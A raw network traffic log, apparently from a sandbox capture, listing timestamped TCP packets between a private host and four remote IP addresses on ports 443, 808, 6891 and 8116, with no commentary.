Oct 28, 2021 04:58:20.431664944 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:20.431880951 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:20.432491064 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:20.432503939 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:20.437154055 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:20.437165976 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:20.437283039 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:20.437294006 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:20.701503992 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.701529980 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.701715946 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:20.701740980 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:20.704883099 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:20.821535110 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:20.867136002 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.987785101 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:20.987903118 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:20.989607096 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:21.122179985 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:21.122297049 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:21.122421980 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:21.122483969 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:21.138170004 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:21.138200045 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:21.155179977 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:21.155523062 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:21.155695915 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:21.164314985 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:21.169981956 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:21.170126915 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:21.292761087 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:21.335427046 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:21.335450888 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:21.335458994 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:21.457425117 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.457611084 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:21.458477974 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:21.623074055 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.623223066 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.623296976 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:21.623847961 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:21.632564068 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:21.633162022 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:21.720170975 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:21.720194101 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:21.720340014 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:21.788383961 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.793611050 CEST	49797	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:21.797146082 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.797631025 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.797660112 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.797713041 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.797724962 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:21.958939075 CEST	6891	49797	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:21.975625992 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.028659105 CEST	8116	49799	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:22.028796911 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.030797958 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.083739042 CEST	8116	49799	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:22.083920956 CEST	8116	49799	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:22.084048033 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.086366892 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.090259075 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.090361118 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.164777040 CEST	8116	49799	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:22.186332941 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:22.186378956 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:22.186491966 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:22.186532021 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:22.194727898 CEST	49798	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:22.309899092 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:22.333524942 CEST	8116	49799	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:22.333568096 CEST	8116	49799	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:22.333661079 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.336941957 CEST	49799	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:22.359646082 CEST	808	49798	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:22.389837980 CEST	8116	49799	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:22.461842060 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:22.461898088 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:22.461996078 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:22.462596893 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:22.462613106 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:22.476505995 CEST	6891	49800	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:22.476924896 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:22.477744102 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:22.643136024 CEST	6891	49800	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:22.643268108 CEST	6891	49800	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:22.643404961 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:22.644273996 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:22.651935101 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:22.652141094 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:22.817538023 CEST	6891	49800	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:22.817640066 CEST	6891	49800	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:22.989778996 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:22.989968061 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:23.195132017 CEST	6891	49800	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:23.195154905 CEST	6891	49800	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:23.195339918 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:23.202426910 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:23.202476025 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:23.206486940 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:23.206513882 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:23.206556082 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:23.206578016 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:23.206595898 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:23.206604004 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:23.207715988 CEST	49800	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:23.325108051 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.372972965 CEST	6891	49800	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:23.378925085 CEST	8116	49802	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:23.379087925 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.388065100 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.465363026 CEST	8116	49802	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:23.465820074 CEST	8116	49802	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:23.465884924 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.466468096 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.472228050 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.472393990 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.526031017 CEST	8116	49802	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:23.526053905 CEST	8116	49802	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:23.717170000 CEST	8116	49802	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:23.717192888 CEST	8116	49802	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:23.717346907 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.809864998 CEST	49802	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:23.863756895 CEST	8116	49802	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:23.913281918 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:23.913350105 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:23.913451910 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:23.913476944 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:24.506313086 CEST	49801	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:24.506361961 CEST	443	49801	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:24.516433954 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:24.516535044 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:24.516624928 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:24.518565893 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:24.518588066 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:24.802704096 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:24.963398933 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:24.963610888 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:24.965518951 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.016232967 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:25.016355991 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:25.016932964 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:25.016954899 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:25.021948099 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:25.021971941 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:25.022056103 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:25.022068977 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:25.126094103 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.126136065 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.126250982 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.128495932 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.132553101 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.132632017 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.289041996 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.293049097 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.293096066 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.293126106 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.293149948 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.293174982 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.681646109 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.681684971 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.681746960 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.681773901 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.694983959 CEST	49804	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.716425896 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:25.716577053 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:25.716653109 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:25.716837883 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:25.724436998 CEST	49803	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:25.724494934 CEST	443	49803	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:25.805939913 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:25.855582952 CEST	808	49804	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:25.901398897 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:25.972285032 CEST	6891	49805	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:25.972421885 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:25.973355055 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:26.063287020 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.064377069 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.065051079 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.139678001 CEST	6891	49805	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:26.139724016 CEST	6891	49805	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:26.139935017 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:26.140465975 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:26.145890951 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:26.146054029 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:26.226826906 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.226962090 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.227080107 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.227668047 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.232732058 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.233197927 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.312269926 CEST	6891	49805	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:26.312400103 CEST	6891	49805	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:26.389332056 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.394594908 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.394845963 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.394877911 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.394905090 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.704349995 CEST	6891	49805	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:26.704396009 CEST	6891	49805	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:26.704619884 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:26.709043980 CEST	49805	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:26.773765087 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.773809910 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.773853064 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.773884058 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.781986952 CEST	49806	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:26.821795940 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:26.875318050 CEST	6891	49805	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:26.875356913 CEST	8116	49807	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:26.875515938 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:26.876660109 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:26.905599117 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:26.929301023 CEST	8116	49807	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:26.929534912 CEST	8116	49807	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:26.929683924 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:26.930766106 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:26.938357115 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:26.938519955 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:26.943897963 CEST	808	49806	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:26.991180897 CEST	8116	49807	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:26.991195917 CEST	8116	49807	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:27.070955992 CEST	6891	49808	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:27.071146965 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:27.072042942 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:27.161504984 CEST	8116	49807	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:27.161597013 CEST	8116	49807	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:27.161763906 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:27.161803007 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:27.167187929 CEST	49807	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:27.219975948 CEST	8116	49807	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:27.237778902 CEST	6891	49808	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:27.237915993 CEST	6891	49808	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:27.238173962 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:27.239526033 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:27.249255896 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:27.249428034 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:27.292021036 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:27.292088985 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:27.292197943 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:27.293010950 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:27.293035030 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:27.414693117 CEST	6891	49808	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:27.414828062 CEST	6891	49808	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:27.781109095 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:27.781256914 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:27.782002926 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:27.782016993 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:27.789880991 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:27.789899111 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:27.790385962 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:27.790405035 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:27.794616938 CEST	6891	49808	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:27.794640064 CEST	6891	49808	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:27.794718027 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:27.802947044 CEST	49808	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:27.968203068 CEST	6891	49808	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:27.996896982 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.050968885 CEST	8116	49810	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:28.051120043 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.052292109 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.108139992 CEST	8116	49810	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:28.108160973 CEST	8116	49810	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:28.108741045 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.109458923 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.117650032 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.117799044 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.171824932 CEST	8116	49810	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:28.172137976 CEST	8116	49810	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:28.343368053 CEST	8116	49810	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:28.343408108 CEST	8116	49810	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:28.343456030 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.343482971 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.351540089 CEST	49810	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:28.405448914 CEST	8116	49810	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:28.473721981 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:28.473856926 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:28.473933935 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.473973036 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.479768038 CEST	49809	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.479815006 CEST	443	49809	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:28.479881048 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.479933023 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:28.480063915 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.480916023 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.480951071 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:28.633202076 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:28.793756962 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:28.793930054 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:28.795274019 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:28.955729961 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:28.955796003 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:28.955981016 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:28.956639051 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:28.963275909 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:28.963521957 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:28.965039968 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:28.965176105 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.965960979 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.965974092 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:28.974805117 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.974821091 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:28.975086927 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:28.975100994 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:29.117019892 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:29.123668909 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:29.123806953 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:29.123852015 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:29.515691042 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:29.515718937 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:29.515928030 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:29.519220114 CEST	49812	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:29.634447098 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:29.664808035 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:29.665041924 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:29.665184021 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:29.670924902 CEST	49811	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:29.670949936 CEST	443	49811	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:29.679708958 CEST	808	49812	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:29.800784111 CEST	6891	49813	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:29.801009893 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:29.802402973 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:29.857008934 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:29.971549034 CEST	6891	49813	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:29.971592903 CEST	6891	49813	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:29.971679926 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:29.972246885 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:29.976368904 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:29.976466894 CEST	49813	6891	192.168.2.6	45.77.0.96
